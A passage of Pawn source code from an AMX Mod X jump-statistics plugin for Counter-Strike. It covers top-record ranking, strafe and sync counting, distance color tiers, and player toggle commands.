else if( equali(tmp_ip[i], rb)) break;
}
}
public checktops_weapon(id,pev_max_speed,wpn_rank,type[],type_num,Float:dd,Float:mm,Float:pp,sf,s,wpn_name[])
{
new d,m,p,rb[64];
d=floatround(dd*1000000);
m=floatround(mm*1000000);
p=floatround(pp*1000000);
switch(rankby) {
case 0: {
formatex(rb, 63, "%s", g_playername[id]);
}
case 1: {
formatex(rb, 63, "%s", g_playerip[id]);
}
case 2: {
formatex(rb, 63, "%s", g_playersteam[id]);
}
}
new tmp_weap_name[NTOP+1][33],tmp_names[NTOP+1][33],tmp_ip[NTOP+1][33],tmp_distance[NTOP+1],tmp_maxspeed[NTOP+1],tmp_prestrafe[NTOP+1],tmp_strafes[NTOP+1],tmp_sync[NTOP+1],tmp_wpnrank[NTOP+1];
for (new i = 0; i < NTOP; i++)
{
new Trie:JS;
new tmp_type[33];
format(tmp_type, 32, "%s_%d_%d", type, i,weapon_maxspeed(wpn_rank));
if(TrieKeyExists(JData, tmp_type))
{
TrieGetCell(JData, tmp_type, JS);
TrieGetString(JS,"name",tmp_names[i],32);
TrieGetString(JS,"authid",tmp_ip[i],32);
TrieGetCell(JS, "distance", tmp_distance[i]);
TrieGetCell(JS, "maxspeed", tmp_maxspeed[i]);
TrieGetCell(JS, "prestrafe", tmp_prestrafe[i]);
TrieGetCell(JS, "strafes", tmp_strafes[i]);
TrieGetCell(JS, "sync", tmp_sync[i]);
TrieGetCell(JS, "pspeed", tmp_wpnrank[i]);
TrieGetString(JS, "wpn_name", tmp_weap_name[i],32);
}
}
for (new i = 0; i < NTOP; i++)
{
if( d > tmp_distance[i] )
{
new pos = i;
while( !equali(tmp_ip[pos],rb) && pos < NTOP )
{
pos++;
}
for (new j = pos; j > i; j--)
{
formatex(tmp_ip[j], 32, tmp_ip[j-1]);
formatex(tmp_names[j], 32, tmp_names[j-1]);
formatex(tmp_weap_name[j], 32, tmp_weap_name[j-1]);
tmp_distance[j] = tmp_distance[j-1];
tmp_maxspeed[j] = tmp_maxspeed[j-1];
tmp_prestrafe[j] = tmp_prestrafe[j-1];
tmp_strafes[j] = tmp_strafes[j-1];
tmp_sync[j] = tmp_sync[j-1];
}
formatex(tmp_ip[i], 32, rb);
formatex(tmp_names[i], 32, g_playername[id]);
formatex(tmp_weap_name[i], 32, wpn_name);
tmp_distance[i]=d;
tmp_maxspeed[i] = m;
tmp_prestrafe[i] = p;
tmp_strafes[i] = sf;
tmp_sync[i] = s;
save_tops_weapon(type,type_num,wpn_rank,tmp_names,tmp_ip,tmp_distance,tmp_maxspeed,tmp_prestrafe,tmp_strafes,tmp_sync,tmp_weap_name);
client_print(0,print_chat,"%L",LANG_SERVER,"UQSTATS_PRINTTOP4",prefix,g_playername[id],(i+1),type,pev_max_speed,dd);
break;
}
else if( equali(tmp_ip[i], rb)) break;
}
}
public checkmap(id,Float:dd,Float:mm,Float:pp,sf,s,typ[])
{ new d,m,p,rb[64];
d=floatround(dd*1000000);// todo: zdelat poproshe)
m=floatround(mm*1000000);
p=floatround(pp*1000000);
switch(rankby) {
case 0: {
formatex(rb, 63, "%s", g_playername[id]);
}
case 1: {
formatex(rb, 63, "%s", g_playerip[id]);
}
case 2: {
formatex(rb, 63, "%s", g_playersteam[id]);
}
}
for (new i = 0; i < NTOP; i++)
{
if( d > map_dist[i] )
{
new pos = i;
while( !equali(map_ip[pos],rb) && pos < NTOP )
{
pos++;
}
for (new j = pos; j > i; j--)
{
formatex(map_ip[j], 32, map_ip[j-1]);
formatex(map_names[j], 32, map_names[j-1]);
map_dist[j] = map_dist[j-1];
map_maxsped[j] =map_maxsped[j-1];
map_prestr[j] = map_prestr[j-1];
map_streif[j] = map_streif[j-1];
map_syncc[j] = map_syncc[j-1];
formatex(map_type[j], 32, map_type[j-1]);
}
formatex(map_ip[i], 32, rb);
formatex(map_names[i], 32, g_playername[id]);
map_dist[i]=d;
map_maxsped[i] = m;
map_prestr[i] = p;
map_streif[i] = sf;
map_syncc[i] = s;
formatex(map_type[i], 32, typ);
save_maptop();
new iPlayers[32],iNum;
get_players( iPlayers, iNum,"ch") ;
for(new p=0;p<iNum;p++)
{
new ids=iPlayers[p];
if(gHasColorChat[ids] ==true)
{
client_print(ids,print_chat,"%L",LANG_SERVER,"UQSTATS_PRINTTOP5",prefix,g_playername[id],(i+1),dd,typ);
}
}
break;
}
else if( equali(map_ip[i], rb)) break;
}
}
public fwdPostThink( id )
{
if( g_alive[id] && g_userConnected[id] && g_pBot[id]==false)
{
if( g_Jumped[id] )
{
FullJumpFrames[id]++;
static buttonsNew;
static buttons;
static Float:angle[3];
buttonsNew = pev(id, pev_button);
buttons = pev(id, pev_button);
pev(id, pev_angles, angle);
new Float:velocity[3];
pev(id, pev_velocity, velocity);
velocity[2] = 0.0;
new Float:fSpeed = vector_length(velocity);
if( old_angle1[id] > angle[1] ) {
turning_left[id] = false;
turning_right[id] = true;
}
else if( old_angle1[id] < angle[1] ) {
turning_left[id] = true;
turning_right[id] = false;
} else {
turning_left[id] = false;
turning_right[id] = false;
}
//schetchik streifof
if( !(strafecounter_oldbuttons[id]&IN_MOVELEFT) && buttonsNew&IN_MOVELEFT
&& !(buttonsNew&IN_MOVERIGHT) && !(buttonsNew&IN_BACK) && !(buttonsNew&IN_FORWARD)
&& (turning_left[id] || turning_right[id]) )
{
preessbutton[id]=true;
button_what[id]=1;
if(strafe_num[id] < NSTRAFES)
strafe_stat_time[id][strafe_num[id]] = get_gametime();
strafe_num[id] += INFO_ONE;
if(strafe_num[id]>0 && strafe_num[id]<100) type_button_what[id][strafe_num[id]]=1;
}
else if( !(strafecounter_oldbuttons[id]&IN_MOVERIGHT) && buttonsNew&IN_MOVERIGHT
&& !(buttonsNew&IN_MOVELEFT) && !(buttonsNew&IN_BACK) && !(buttonsNew&IN_FORWARD)
&& (turning_left[id] || turning_right[id]) )
{
preessbutton[id]=true;
button_what[id]=2;
if(strafe_num[id] < NSTRAFES)
strafe_stat_time[id][strafe_num[id]] = get_gametime();
strafe_num[id] += INFO_ONE;
if(strafe_num[id]>0 && strafe_num[id]<100) type_button_what[id][strafe_num[id]]=1;
}
else if( !(strafecounter_oldbuttons[id]&IN_BACK) && buttonsNew&IN_BACK
&& !(buttonsNew&IN_MOVELEFT) && !(buttonsNew&IN_MOVERIGHT) && !(buttonsNew&IN_FORWARD)
&& (turning_left[id] || turning_right[id]) )
{
preessbutton[id]=true;
button_what[id]=1;
if(strafe_num[id] < NSTRAFES)
strafe_stat_time[id][strafe_num[id]] = get_gametime();
strafe_num[id] += INFO_ONE;
if(strafe_num[id]>0 && strafe_num[id]<100) type_button_what[id][strafe_num[id]]=2;
}
else if( !(strafecounter_oldbuttons[id]&IN_FORWARD) && buttonsNew&IN_FORWARD
&& !(buttonsNew&IN_MOVELEFT) && !(buttonsNew&IN_MOVERIGHT) && !(buttonsNew&IN_BACK)
&& (turning_left[id] || turning_right[id]) )
{
preessbutton[id]=true;
button_what[id]=2;
if(strafe_num[id] < NSTRAFES)
strafe_stat_time[id][strafe_num[id]] = get_gametime();
strafe_num[id] += INFO_ONE;
if(strafe_num[id]>0 && strafe_num[id]<100) type_button_what[id][strafe_num[id]]=2;
}
if( buttonsNew&IN_MOVERIGHT
|| buttonsNew&IN_MOVELEFT
|| buttonsNew&IN_FORWARD
|| buttonsNew&IN_BACK )
{
//tskFps(id);
if(strafe_num[id] < NSTRAFES)
{
if( fSpeed > speed[id])
{
strafe_stat_sync[id][strafe_num[id]][0] += INFO_ONE;
}
else
{
strafe_stat_sync[id][strafe_num[id]][1] += INFO_ONE;
if(uq_istrafe && strafe_num[id]<NSTRAFES && lost_frame_count[id][strafe_num[id]]<NVAR)
line_lost[id][strafe_num[id]][lost_frame_count[id][strafe_num[id]]]=1;
}
if(uq_istrafe)
{
line_erase[id][strafe_num[id]]=lost_frame_count[id][strafe_num[id]];
line_erase_strnum[id]=strafe_num[id];
lost_frame_count[id][strafe_num[id]]++;
}
}
}
else if(uq_istrafe && strafe_num[id]<NSTRAFES)
strafe_lost_frame[id][strafe_num[id]] += INFO_ONE;
if( buttons&IN_MOVERIGHT && (buttons&IN_MOVELEFT || buttons&IN_FORWARD || buttons&IN_BACK) )
strafecounter_oldbuttons[id] = INFO_ZERO;
else if( buttons&IN_MOVELEFT && (buttons&IN_FORWARD || buttons&IN_BACK || buttons&IN_MOVERIGHT) )
strafecounter_oldbuttons[id] = INFO_ZERO;
else if( buttons&IN_FORWARD && (buttons&IN_BACK || buttons&IN_MOVERIGHT || buttons&IN_MOVELEFT) )
strafecounter_oldbuttons[id] = INFO_ZERO;
else if( buttons&IN_BACK && (buttons&IN_MOVERIGHT || buttons&IN_MOVELEFT || buttons&IN_FORWARD) )
strafecounter_oldbuttons[id] = INFO_ZERO;
else if( turning_left[id] || turning_right[id] )
strafecounter_oldbuttons[id] = buttons;
}
else
{
if(sync_doubleduck[id])
{
new Float:velocity[3];
pev(id, pev_velocity, velocity);
velocity[2] = 0.0;
new Float:fSpeed = vector_length(velocity);
if( fSpeed > speed[id])
{
doubleduck_stat_sync[id][0]++;
}
else
{
doubleduck_stat_sync[id][1]++;
}
}
}
}
}
public get_colorchat_by_distance(JumpType:type_jump,mSpeed,t_dist,bool:drop_a,multiscj_a,aircj)
{
new dist_array[5];
dist_array[2]=280;
if(type_jump==Type_Double_CountJump || type_jump==Type_Multi_CountJump )
{
dist_array[4]=dcj_god_dist;
dist_array[3]=dcj_leet_dist;
dist_array[2]=dcj_holy_dist;
dist_array[1]=dcj_pro_dist;
dist_array[0]=dcj_good_dist;
}
else if(type_jump==Type_LongJump || type_jump==Type_HighJump)
{
dist_array[4]=lj_god_dist;
dist_array[3]=lj_leet_dist;
dist_array[2]=lj_holy_dist;
dist_array[1]=lj_pro_dist;
dist_array[0]=lj_good_dist;
}
else if(type_jump==Type_ladder)
{
dist_array[4]=ladder_god_dist;
dist_array[3]=ladder_leet_dist;
dist_array[2]=ladder_holy_dist;
dist_array[1]=ladder_pro_dist;
dist_array[0]=ladder_good_dist;
}
else if(type_jump==Type_WeirdLongJump || type_jump==Type_Drop_CountJump || type_jump==Type_ladderBhop)
{
dist_array[4]=wj_god_dist;
dist_array[3]=wj_leet_dist;
dist_array[2]=wj_holy_dist;
dist_array[1]=wj_pro_dist;
dist_array[0]=wj_good_dist;
}
else if(type_jump==Type_BhopLongJump || type_jump==Type_StandupBhopLongJump)
{
dist_array[4]=bj_god_dist;
dist_array[3]=bj_leet_dist;
dist_array[2]=bj_holy_dist;
dist_array[1]=bj_pro_dist;
dist_array[0]=bj_good_dist;
}
else if(type_jump==Type_CountJump)
{
dist_array[4]=cj_god_dist;
dist_array[3]=cj_leet_dist;
dist_array[2]=cj_holy_dist;
dist_array[1]=cj_pro_dist;
dist_array[0]=cj_good_dist;
}
else if(type_jump==Type_Drop_BhopLongJump)
{
dist_array[4]=dbj_god_dist;
dist_array[3]=dbj_leet_dist;
dist_array[2]=dbj_holy_dist;
dist_array[1]=dbj_pro_dist;
dist_array[0]=dbj_good_dist;
}
else if(type_jump==Type_StandUp_CountJump && drop_a==false)
{
if(multiscj_a==0)
{
dist_array[4]=scj_god_dist+aircj;
dist_array[3]=scj_leet_dist+aircj;
dist_array[2]=scj_holy_dist+aircj;
dist_array[1]=scj_pro_dist+aircj;
dist_array[0]=scj_good_dist+aircj;
}
else if(multiscj_a==1 || multiscj_a==2)
{
dist_array[4]=scj_god_dist+aircj+10;
dist_array[3]=scj_leet_dist+aircj+10;
dist_array[2]=scj_holy_dist+aircj+10;
dist_array[1]=scj_pro_dist+aircj+10;
dist_array[0]=scj_good_dist+aircj+10;
}
}
else if(type_jump==Type_StandUp_CountJump && drop_a)
{
dist_array[4]=dropscj_god_dist;
dist_array[3]=dropscj_leet_dist;
dist_array[2]=dropscj_holy_dist;
dist_array[1]=dropscj_pro_dist;
dist_array[0]=dropscj_good_dist;
}
else if(type_jump==Type_Bhop_In_Duck || type_jump==Type_Up_Bhop_In_Duck)
{
dist_array[4]=bhopinduck_god_dist;
dist_array[3]=bhopinduck_leet_dist;
dist_array[2]=bhopinduck_holy_dist;
dist_array[1]=bhopinduck_pro_dist;
dist_array[0]=bhopinduck_good_dist;
}
else if(type_jump==Type_Up_Bhop)
{
dist_array[4]=upbj_god_dist;
dist_array[3]=upbj_leet_dist;
dist_array[2]=upbj_holy_dist;
dist_array[1]=upbj_pro_dist;
dist_array[0]=upbj_good_dist;
}
else if(type_jump==Type_Up_Stand_Bhop)
{
dist_array[4]=upsbj_god_dist;
dist_array[3]=upsbj_leet_dist;
dist_array[2]=upsbj_holy_dist;
dist_array[1]=upsbj_pro_dist;
dist_array[0]=upsbj_good_dist;
}
else if(type_jump==Type_Real_ladder_Bhop)
{
dist_array[4]=real_god_dist;
dist_array[3]=real_leet_dist;
dist_array[2]=real_holy_dist;
dist_array[1]=real_pro_dist;
dist_array[0]=real_good_dist;
}
else if(type_jump==Type_DuckBhop)
{
dist_array[4]=duckbhop_god_dist;
dist_array[3]=duckbhop_leet_dist;
dist_array[2]=duckbhop_holy_dist;
dist_array[1]=duckbhop_pro_dist;
dist_array[0]=duckbhop_good_dist;
}
if(mSpeed != 250.0 && type_jump!=Type_ladder)
{
dist_array[4]=dist_array[4]-t_dist;
dist_array[3]=dist_array[3]-t_dist;
dist_array[2]=dist_array[2]-t_dist;
dist_array[1]=dist_array[1]-t_dist;
dist_array[0]=dist_array[0]-t_dist;
}
return dist_array;
}
public fnSaveBeamPos( client ) {
if( g_Jumped[client] ) {
new Float:vOrigin[3];
pev(client, pev_origin, vOrigin);
if( gBeam_count[client] < 100 ) {
gBeam_points[client][gBeam_count[client]][0] = vOrigin[0];
gBeam_points[client][gBeam_count[client]][1] = vOrigin[1];
gBeam_points[client][gBeam_count[client]][2] = vOrigin[2];
if(preessbutton[client])
{
gBeam_button[client][gBeam_count[client]]=true;
if(button_what[client]==1)
{
gBeam_button_what[client][gBeam_count[client]]=1;
}
else if(button_what[client]==2)
{
gBeam_button_what[client][gBeam_count[client]]=2;
}
}
if(is_user_ducking( client ))
gBeam_duck[client][gBeam_count[client]] = true;
gBeam_count[client]++;
}
}
}
public JumpReset(id,num)
{
g_reset[id] = true;
//if(num!=26 && num!=1 && num!=29)
//ColorChat(id,GREEN,"jump reset %d",num);
}
public JumpReset1(id)
{
g_reset[id] = true;
}
public ddReset(id)
{
id=id-2311;
JumpReset(id,27);
//ColorChat(id, GREEN, "reset dd");
}
public Color_Chat_Lang(id,Color:type, const msg[], {Float,Sql,Result,_}:...)
{
new message[256];
switch(type)
{
case NORMAL: // clients scr_concolor cvar color
{
message[0] = 0x01;
}
case GREEN: // Green
{
message[0] = 0x04;
}
default: // White, Red, Blue
{
message[0] = 0x03;
}
}
vformat(message[1], 251, msg, 4);
replace_colors(message,191);
ColorChat(id, type, "%s",message);
}
public cmdColorChat(id)
{
if( !gHasColorChat[id] )
{
gHasColorChat[id] = true;
Color_Chat_Lang(id,GREEN,"%L",LANG_SERVER,"UQSTATS_COLORCHAT_E", prefix);
}
else
{
gHasColorChat[id] = false;
Color_Chat_Lang(id,GREEN,"%L",LANG_SERVER,"UQSTATS_COLORCHAT_D", prefix);
}
return PLUGIN_CONTINUE;
}
public cmdljStats( id ) {
if(g_lj_stats[id]==true)
{
Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_LJSTATS_D", prefix);
g_lj_stats[id]=false;
if(showpre[id]==true)
{
showpre[id]=false;
oldpre[id]=1;
}
if(failearly[id]==true)
{
failearly[id]=false;
oldfail[id]=1;
}
if(ljpre[id]==true)
{
ljpre[id]=false;
oldljpre[id]=1;
}
}
else
{
if(oldpre[id]==1)
{
showpre[id]=true;
oldpre[id]=0;
}
if(oldfail[id]==1)
{
failearly[id]=true;
oldfail[id]=0;
}
if(oldljpre[id]==1)
{
ljpre[id]=true;
oldljpre[id]=0;
}
g_lj_stats[id]=true;
Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_LJSTATS_E", prefix);
}
}
public cmdVersion( id )
{
Color_Chat_Lang(id,GREY,"%L",LANG_SERVER,"UQSTATS_VERSION_1", prefix,VERSION);
if(kz_sql==1)
{
Color_Chat_Lang(id,GREY,"%L",LANG_SERVER,"UQSTATS_VERSION_SQL1", prefix);
Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_VERSION_SQL2", prefix);
}
else Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_VERSION_2", prefix);
}
public pre_stats(id)
{
if(kz_stats_pre[id]==true)
{
Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_PRESTATS_D", prefix);
kz_stats_pre[id]=false;
}
else
{
kz_stats_pre[id]=true;
Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_PRESTATS_E", prefix);
}
}
public streif_stats(id)
{
if(streifstat[id]==true)
{
Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_STRAFESTATS_D", prefix);
streifstat[id]=false;
}
else
{
streifstat[id]=true;
Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_STRAFESTATS_E", prefix);
}
}
public cmdljbeam(id)
{
if(ingame_strafe[id])
{
Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_BEAMDONTWORK", prefix);
}
else
{
if(kz_beam[id]==true)
{
Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_BEAMSTATS_D", prefix);
kz_beam[id]=false;
}
else
{
kz_beam[id]=true;
Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_BEAMSTATS_E", prefix);
}
}
}
public show_pre(id)
{
if(showpre[id]==true)
{
Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_SHOWPRE_D", prefix);
showpre[id]=false;
}
else
{
showpre[id]=true;
Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_SHOWPRE_E", prefix);
}
}
public show_speed(id)
{
new tmpTeam[33],g_team;
get_user_team(id,tmpTeam,32);
if(uq_team==0)
{
g_team=0;
}
else if(equali(tmpTeam,"TERRORIST"))
{
g_team=1;
}
else if(equali(tmpTeam,"CT"))
{
g_team=2;
}
else
{
g_team=uq_team;
}
if(uq_admins==1 && !player_admin[id])
{
Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_SPEED_D1", prefix);
}
else if(g_team!=uq_team && !uq_speed_allteam)
{
Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_SPEED_D2", prefix);
}
else
{
if(jofon[id])
{
Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_SPEED_D3", prefix);
}
else
{
if(speedon[id]==false)
{
Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_SPEED_E", prefix);
speedon[id]=true;
set_task(0.1, "DoSpeed", id+212299, "", 0, "b", 0);
}
else
{
speedon[id]=false;
if( task_exists(id+212299, 0) )
remove_task(id+212299, 0);
Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_SPEED_D", prefix);
}
}
}
}
public trainer_jof(id)
{
new tmpTeam[33],g_team;
get_user_team(id,tmpTeam,32);
if(uq_team==0)
{
g_team=0;
}
else if(equali(tmpTeam,"TERRORIST"))
{
g_team=1;
}
else if(equali(tmpTeam,"CT"))
{
g_team=2;
}
else
{
g_team=uq_team;
}
if(uq_admins==1 && !player_admin[id])
{
Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_JOFTR_D1", prefix);
}
else if(g_team!=uq_team)
{
Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_JOFTR_D2", prefix);
}
else
{
if(speedon[id])
{
Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_JOFTR_D3", prefix);
}
else
{
if(jofon[id]==false)
{
Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_JOFTR_E", prefix);
jofon[id]=true;
jof[id]=0.0;
set_task(0.1, "Dojof", id+212398, "", 0, "b", 0);
}
else
{
jofon[id]=false;
if( task_exists(id+212398, 0) )
remove_task(id+212398, 0);
Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_JOFTR_D", prefix);
}
}
}
}
public speed_type(id)
{
if(speedtype[id]==false)
{
Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_SPEED_B", prefix);
speedtype[id]=true;
}
else
{
speedtype[id]=false;
Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_SPEED_S", prefix);
}
}
public show_jheight(id)
{
if(jheight_show[id]==false)
{
Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_JHEIGH_E", prefix);
jheight_show[id]=true;
}
else
{
jheight_show[id]=false;
Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_JHEIGH_D", prefix);
}
}
public show_jof(id)
{
if(showjofon[id]==false)
{
Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_JOF_E", prefix);
showjofon[id]=true;
}
else
{
showjofon[id]=false;
Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_JOF_D", prefix);
}
}
public show_early(id)
{
if(failearly[id]==false)
{
Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_BHOPWARN_E", prefix);
failearly[id]=true;
}
else
{
failearly[id]=false;
Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_BHOPWARN_D", prefix);
}
}
public multi_bhop(id)
{
if(multibhoppre[id]==false)
{
Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_MULTIBHOP_E", prefix);
multibhoppre[id]=true;
}
else
{
multibhoppre[id]=false;
Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_MULTIBHOP_D", prefix);
}
}
public duck_show(id)
{
if(showduck[id]==false)
{
Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_DUCKSPRE_E", prefix);
showduck[id]=true;
}
else
{
showduck[id]=false;
Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_DUCKSPRE_D", prefix);
}
}
public lj_show(id)
{
if(ljpre[id]==false)
{
Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_LJPRE_E", prefix);
ljpre[id]=true;
}
else
{
ljpre[id]=false;
Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_LJPRE_D", prefix);
}
}
public enable_sounds(id)
{
if(uq_sounds)
{
if(enable_sound[id]==false)
{
Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_SOUND_E", prefix);
enable_sound[id]=true;
}
else
{
enable_sound[id]=false;
Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_SOUND_D", prefix);
}
}
else Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_SOUND_D1", prefix);
}
public ShowedgeFail(id)
{
if(Show_edge_Fail[id]==false)
{
Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_EDGEF_E", prefix);
Show_edge_Fail[id]=true;
}
else
{
Show_edge_Fail[id]=false;
Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_EDGEF_D", prefix);
}
}
public Showedge(id)
{
if(Show_edge[id]==false)
{
Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_EDGE_E", prefix);
Show_edge[id]=true;
}
else
{
Show_edge[id]=false;
Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_EDGE_D", prefix);
}
}
public heightshow(id)
{
if(height_show[id]==false)
{
Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_FALLH_E", prefix);
height_show[id]=true;
}
else
{
height_show[id]=false;
Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_FALLH_D", prefix);
}
}
public ingame_st_stats(id)
{
if(uq_istrafe)
{
if(kz_beam[id])
{
Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_ISTRAFE_D1", prefix);
}
else
{
if(ingame_strafe[id]==false)
{
Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_ISTRAFE_E", prefix);
ingame_strafe[id]=true;
}
else
{
ingame_strafe[id]=false;
Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_ISTRAFE_D", prefix);
}
}
}
else Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_ISTRAFE_D2", prefix);
}
public client_connect( id )
{
oldljpre[id]=0;
oldpre[id]=0;
oldfail[id]=0;
g_userConnected[id]=true;
g_pBot[id]=false;
static connectt[30];
get_pcvar_string(kz_uq_connect, connectt, 30);
format(connectt, 30, "_%s", connectt);
if( contain(connectt, "a") > 0 )
gHasColorChat[id] =true;
else
gHasColorChat[id] = false;
if( contain(connectt, "b") > 0 )
g_lj_stats[id] = true;
else
g_lj_stats[id] = false;
if( contain(connectt, "c") > 0 )
speedon[id]=true;
else
speedon[id]=false;
if( contain(connectt, "d") > 0 )
showpre[id]=true;
else
showpre[id]=false;
if( contain(connectt, "e") > 0 )
streifstat[id]=true;
else
streifstat[id]=false;
if( contain(connectt, "f") > 0 )
kz_beam[id]=true;
else
kz_beam[id]=false;
if( contain(connectt, "g") > 0 )
kz_stats_pre[id]=true;
else
kz_stats_pre[id]=false;
if( contain(connectt, "h") > 0 )
failearly[id]=true;
else
failearly[id]=false;
if( contain(connectt, "i") > 0 )
multibhoppre[id]=true;
else
multibhoppre[id]=false;
if( contain(connectt, "j") > 0 )
showduck[id]=true;
else
showduck[id]=false;
if( contain(connectt, "k") > 0 )
ljpre[id]=true;
else
ljpre[id]=false;
if( contain(connectt, "l") > 0 )
Show_edge[id]=true;
else
Show_edge[id]=false;
if( contain(connectt, "m") > 0 )
Show_edge_Fail[id]=true;
else
Show_edge_Fail[id]=false;
if( contain(connectt, "n") > 0 )
enable_sound[id]=true;
else
enable_sound[id]=false;
if( contain(connectt, "o") > 0 )
ingame_strafe[id]=true;
else
ingame_strafe[id]=false;
//for beta
//ingame_strafe[id]=true;
user_block[id][0]=uq_maxedge;
user_block[id][1]=uq_minedge;
min_prestrafe[id]=uq_min_pre;
beam_type[id]=1;
edgeshow[id]=true;
first_ground_bhopaem[id]=false;
donehook[id]=false;
OnGround[id]=false;
serf_reset[id]=false;
first_onground[id]=false;
duckstring[id]=false;
firstshow[id]=false;
height_show[id]=false;
Checkframes[id]=false;
firstfall_ground[id]=false;
h_jumped[id]=false;
touch_ent[id]=false;
ddafterJump[id]=false;
ddstandcj[id]=false;
UpcjFail[id]=false;
slide_protec[id]=false;
posibleScj[id]=false;
x_jump[id]=false;
ddforcj[id]=false;
dropbhop[id]=false;
ddnum[id]=0;
hookcheck[id]=false;
backwards[id]=false;
ladderbug[id]=false;
touch_somthing[id]=false;
record_start[id]=0;
duckbhop_bug_pre[id]=false;
showtime_st_stats[id]=40;
speedtype[id]=false;
trigger_protection[id]=false;
if(is_user_bot(id))
{
g_pBot[id]=true;
}
if( task_exists(id+434490, 0) )
remove_task(id+434490, 0);
if( task_exists(id, 0) )
remove_task(id, 0);
if( task_exists(id+89012, 0) )
remove_task(id+89012, 0);
if( task_exists(id+3313, 0) )
remove_task(id+3313, 0);
if( task_exists(id+3214, 0) )
remove_task(id+3214, 0);
if( task_exists(id+15237, 0) )
remove_task(id+15237, 0);
if( task_exists(id+212299, 0) )
remove_task(id+212299, 0);
if( task_exists(id+212398, 0) )
remove_task(id+212398, 0);
if( task_exists(id, 0) )
remove_task(id, 0);
}
public client_infochanged(id) {
new name[65];
get_user_info(id, "name", name,64);
if(!equali(name, g_playername[id]))
copy(g_playername[id], 64, name);
}
public ResetHUD(id)
{
if(is_user_alive(id) && !is_user_bot(id) && !is_user_hltv(id) )
{
if(firstshow[id]==false)
{
if( uq_airaccel==1 || uq_airaccel==100)
{
Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_AIRACCEL100", prefix);
}
else if( uq_airaccel==0 || uq_airaccel==10)
{
Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_AIRACCEL10", prefix);
}
else
Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_AIRACCEL", prefix,uq_airaccel);
firstshow[id]=true;
if(equali(mapname,"slide_gs_longjumps") || equali(mapname,"b2j_slide_longjumps"))
{
Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_SLIDE", prefix);
}
}
firstfall_ground[id]=false;
h_jumped[id]=false;
ddafterJump[id]=false;
UpcjFail[id]=false;
slide_protec[id]=false;
posibleScj[id]=false;
x_jump[id]=false;
ddforcj[id]=false;
dropbhop[id]=false;
ddnum[id]=0;
donehook[id]=false;
hookcheck[id]=false;
backwards[id]=false;
Checkframes[id]=false;
first_ground_bhopaem[id]=false;
touch_ent[id]=false;
ladderbug[id]=false;
touch_somthing[id]=false;
ddstandcj[id]=false;
}
}
public FwdPlayerSpawn(id)
{
if( is_user_alive(id) && !is_user_bot(id) && !is_user_hltv(id))
{
if( !task_exists(id+434490, 0) )
set_task(1.0, "tskFps", id+434490, "", 0, "b", 0);
g_alive[id] = true;
strafe_num[id]=0;
}
}
public FwdPlayerDeath(id)
{
if( task_exists(id, 0) )
remove_task(id, 0);
if( task_exists(id+434490, 0) )
remove_task(id+434490, 0);
if( task_exists(id, 0) )
remove_task(id, 0);
if( task_exists(id+89012, 0) )
remove_task(id+89012, 0);
if( task_exists(id+3313, 0) )
remove_task(id+3313, 0);
if( task_exists(id+3214, 0) )
